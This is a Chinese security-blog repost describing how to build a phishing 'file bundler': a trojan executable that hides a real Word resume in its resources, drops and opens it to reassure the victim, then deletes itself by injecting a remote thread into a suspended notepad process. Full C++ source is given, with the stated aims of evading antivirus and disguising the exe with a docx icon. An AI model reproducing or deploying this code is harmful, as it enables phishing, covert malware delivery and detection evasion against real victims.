关于文件捆绑的实现

admin 2023年7月13日15:18:47评论11 views字数 4850阅读16分10秒阅读模式

0x01 介绍

在钓鱼的时候,为了让钓鱼文件更真实,最好可以在点击后释放同类型文件出来

比如用简历钓鱼,那么在点完钓鱼文件后会自动打开一个word文件,这样可以不被怀疑

常用的文件捆绑工具基本上是会被杀掉的,这次使用资源文件来实现捆绑

基本是下面的几个步骤

  1. 释放正常的文件

  2. 打开正常的文件

  3. 木马自删除,要么移动到别的目录方便权限维持

0x02 函数介绍

这次是将正常文件藏在资源文件中,然后通过使用一系列的处理资源文件的API将正常文件释放出来,用ShellExecuteEx来执行正常文件,最后创建一个进程,用创建远程线程的方式删除当前文件

创建资源文件

下面用Visual Stdio 2017来创建资源文件

关于文件捆绑的实现

资源文件->添加->资源

关于文件捆绑的实现

点击导入

关于文件捆绑的实现

选择所有文件

关于文件捆绑的实现

资源类型写啥都可以,这里是docx就写个docx好了

这样在编译后docx就在exe中了,只需要调用API取出来就可以了

还有一点点击rc文件会弹出资源视图,右键点开docx选择资源符号可以看到docx的ID

这个后面需要用到

关于文件捆绑的实现

可以看到这里值是101,名称为IDR_DOCX1

FindResourceA

HRSRC FindResourceA(
[in, optional] HMODULE hModule,
[in] LPCSTR lpName,
[in] LPCSTR lpType
)
;

hModule 其可移植可执行文件或随附的 MUI 文件包含资源的模块的句柄,如果为NULL则从当前模块找

lpName 这里填写上面的ID,不过这里的ID需要用MAKEINTRESOURCEA处理一下。MAKEINTRESOURCEA(ID)这样写

lpType 资源类型,前面填写docx这里就需要写docx了

返回值为HRSRC是句柄,反正就和进程句柄啊模块句柄啊差不多一个意思

LoadResource

HGLOBAL LoadResource(
[in, optional] HMODULE hModule,
[in] HRSRC hResInfo
)
;

hModule 其可执行文件包含资源的模块的句柄。为NULL则代表当前模块

hResInfo FindResourceA返回的句柄

返回值为HGLOBAL类型的句柄

SizeofResource

DWORD SizeofResource(
[in, optional] HMODULE hModule,
[in] HRSRC hResInfo
)
;

HMODULE 同上

hResInfo 同上

返回值为资源文件的大小

LockResource

LPVOID LockResource(
[in] HGLOBAL hResData
)
;

hResData LoadResource返回的句柄

返回值为指向资源文件的指针

CreateFileA

HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
)
;

lpFileName 要创建的文件的名称

dwDesiredAccess 文件的属性,这个文件创建后是只读还是可读可写之类的

dwShareMode 文件或设备请求的共享模式,简单说就是这个文件在使用时还能不能被别人读写

lpSecurityAttributes 指向SECURITY_ATTRIBUTES 结构的指针,NULL

dwCreationDisposition 对存在或不存在的文件或设备执行的操作。简单说就是如果这个文件已经存在了是覆盖,还是不动,如果文件不存在,是否还要去写这类的,详细的可以看MSDN中的宏定义

dwFlagsAndAttributes 文件的属性

hTemplateFile 在dwDesiredAccess有GENERIC_READ属性后的一些拓展属性

返回值为当前文件的句柄

WriteFile

BOOL WriteFile(
[in] HANDLE hFile,
[in] LPCVOID lpBuffer,
[in] DWORD nNumberOfBytesToWrite,
[out, optional] LPDWORD lpNumberOfBytesWritten,
[in, out, optional] LPOVERLAPPED lpOverlapped
)
;

hFile 文件句柄

lpBuffer 指向要写入文件的数据的缓冲区的指针

nNumberOfBytesToWrite 要写入的大小

lpNumberOfBytesWritten 实际写入的大小

lpOverlapped 如果使用FILE_FLAG_OVERLAPPED打开hFile参数, 则需要指向OVERLAPPED结构的指针,否则此参数可以为 NULL

返回值为BOOL类型写入成功和写入失败

0x03 代码实现

#include <iostream>
#include <windows.h>
#include "Bundled.h"

DWORD64 WINAPI threadProc(LPVOID lParam) {

INT RET = 20000;
for (size_t i = 0; i < 20000; i++)
{
RET = RET - 1;
}
//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了
wDeleteFileA kDeleteFileA;
DeleteStruct* DS = (DeleteStruct*)lParam;
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
kDeleteFileA(DS->dwDeleteFile_param_1);
//删除文件
return RET;
}

int main(int argc, char* argv[])
{
CHAR PathFileName[MAX_PATH] = { 0 };
CHAR FileName[MAX_PATH] = { 0 };

HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
//得到资源文件HRSRC句柄
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
//得到资源文件ResourceGlobal句柄
DWORD FileSize = SizeofResource(NULL, Resource);
//得到资源文件的大小
LPVOID PFILE = LockResource(ResourceGlobal);
//得到指向资源文件内容的指针
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\xxxxx\xxxxxx\xxxx.exe在执行后得到\xxxx.exe
所以需要+1把\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/

for (size_t i = 0; i < MAX_PATH; i++)
{
if(FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
//循环找文件名中的.,找到后将文件名的后缀改为docx
//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
//创建文件名相同的文件
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 把资源文件中的内容写入

SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);
//打开docx文件

//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\windows\system32\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
//创建进程
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去
//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去

LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
//为函数开辟一块内存

LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
//为参数开辟一块内存
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
//执行该线程
CloseHandle(Thread);
//关闭句柄

}

Bundled.h

#pragma once
#include<Windows.h>

typedef struct DeleteStruct
{

FARPROC dwDeleteFile;
CHAR dwDeleteFile_param_1[MAX_PATH];
};

typedef BOOL(WINAPI* wDeleteFileA)(
_In_ LPCSTR lpFileName
)
;

这种捆绑的方法杀软是不会报毒的

可以看到文件自动删除然后生成了docx文件

最后的话挂上docx的ICO就真实了

转载:https://forum.butian.net/share/1778作者:Macchiato欢迎大家去关注作者


欢迎师傅加入安全交流群(qq群:611901335),或者后台回复加群

如果想和我一起讨论,欢迎加入我的知识星球!!!

关于文件捆绑的实现


扫描下图加入freebuf知识大陆

关于文件捆绑的实现


师傅们点赞、转发、在看就是最大的支持


后台回复知识星球或者知识大陆也可获取加入链接(两个加其一即可)


原文始发于微信公众号(星冥安全):关于文件捆绑的实现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月13日15:18:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于文件捆绑的实现http://cn-sec.com/archives/1871531.html

发表评论

匿名网友 填写信息